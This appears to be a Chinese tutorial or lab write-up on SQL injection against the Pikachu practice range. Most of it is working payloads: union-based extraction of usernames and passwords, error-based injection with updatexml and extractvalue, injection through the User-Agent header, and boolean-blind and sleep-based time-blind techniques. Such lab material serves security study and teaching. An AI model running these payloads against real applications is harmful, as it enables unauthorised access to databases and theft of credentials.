赞
踩
SQL注入指的是通过将恶意SQL语句添加到应用的输入参数中,传递到后台被SQL服务器解析后执行的攻击。
MYSQL更新到5.0后,默认在数据库中存放一个”information_schema“的数据库,记载了其他数据库的信息。
默认要记住三个表,SCHEMATA,TABLES,COLUMNS。
SCHEMATA:(记录了该用户创建的所有数据库名)
TABLES:(记录了所有库名和表名)
COLUMNS:(记录了所有的库名,表名和字段名)
查询一个数据库信息的过程:
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema = 'pikachu';
select column_name from information_schema.columns where table_schema = 'pikachu' and table_name = 'users';
select username,password from pikachu.users;
database():当前网站使用是数据库
version():当前MYSQL的版本
user():当前的用户名称
注释方式:
#(%23),–空格(–+)或者/**/
内联注释:
/*! code*/
code内容可以执行
/*! union*/ /*! select*/ 1,2,3
输入查询id后抓包
改变参数1 = 1 or 1
注入成功
后台查询语句为:
select username,email from xx where uid = 1 or 1 = 1
后台查询语句为
select uid,email from xx where username = '1' or 1 = 1#'
后台查询语句:
select username.id,email from xx where username like '%k%' or 1=1#%'
后台查询语句:
select id,email from xx where username = ('1') or 1=1#')
1.使用order by来测试输入字段的个数
当输入1” order by 3时返回
则输出为两个字段
1' union select user(),database()# 获取用户名和数据库名
lucy' union select 1,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)#
得到第一个表名
改变limit输出的字段号可得到剩下的表名
lucy' union select 1,(select column_name from information_schema.columns where table_schema = 'pikachu' and table_name = 'users' limit 0,1)#
得到了第一个列名
改变limit输出的字段号可得到剩下的表名
得到了表名,列名后可查询所需数据
lucy' union select (select username from pikachu.users limit 0,1),(select password from pikachu.users limit 0,1)#
常用函数:
updatexml(目标xml文档,xml路径,更新的内容):对xml文档进行更新的函数。
floor()
extractvalue(目标xml文档,xml路径):对xml文档进行查询的函数。
select/insert/update/delete都可以使用报错来获取信息
' and updatexml(1,concat(0x7e,database(),0x7e),1)#
' and extractvalue(1,concat(0x7e,database(),0x7e))#
成功获得数据库名,同理可以得到表名,列名进而查询到数据
insert: 在插入值value当中用两个or形成闭合 ‘’ or 报错函数 or ‘’。
payload:
' or updatexml(1,concat(0x7e,database()),0) or '
结果
后台代码:
insert into xx (username,pw,sex) value ('' or updatexml(1,concat(0x7e,database()),1) or '','123456','boy');
同理把payload替换为
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)),0) or '
可获得第一张表名
update:
payload与insert相同,在修改字段后' or + 报错函数 + or '
即可。
delete:
在页面删除留言后抓包,更改参数为payload.
返回界面中显示出数据库。
后端为了验证客户端头信息,或者通过客户端http header获取客户端的一些信息如accept,useragent等等。获取信息后采用了SQL查询,即有可能存在SQL注入漏洞。
登录后页面显示:
抓包后修改user agent(猜测后台可能获取request信息后insert into数据库)
payload:
' or updatexml(1,concat(0x7e,database()),0) or '
响应返回报错信息:
同理修改其他字段信息也可以返回错误信息进而获得数据库信息。
当页面采用了后台错误信息屏蔽后,无法通过错误提示注入,这时候的要采用盲注的方式。
基于boolean的注入主要表现为输出只有yes or no两种情况。
payload:
kobe' and 1=1#
正确输出结果
kobe' and 1=2#
报错
可判断存在sql注入
kobe' and length(database()>7)#
报错
kobe' and length(database()=7)#
正常输出
可得到数据库的长度为7
kobe' and substr(database(),1,1)='p'#
正常输出
可得到数据库的第一个字符为’p’
以此类推得到表名和列名
依靠页面响应的时间来判断真伪。
**if(语句1,语句2,语句3)
如果执行语句1返回结果为真,则执行语句2,否则执行语句3
payload:
kobe' and if(length(database())=7,sleep(5),null)#
假如数据库长度为7,则sleep 5s再返回,否则直接返回。
查看返回时间为5s,故可得到数据库长度为7,其他数据也可通过这种方式得到。
常规情况下,测试者没有读取information_schema的权限,又或者使用的数据库不是mysql不会提供information_schema这种接口供查询。故采用暴力破解的方式。
爆破表名:
kobe' and exists(select * from 猜测的表名)
爆破列名:
kobe' and exists(select 猜测的列名 from user)
burpsuite抓包后选择猜测的字段为变量进行攻击。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。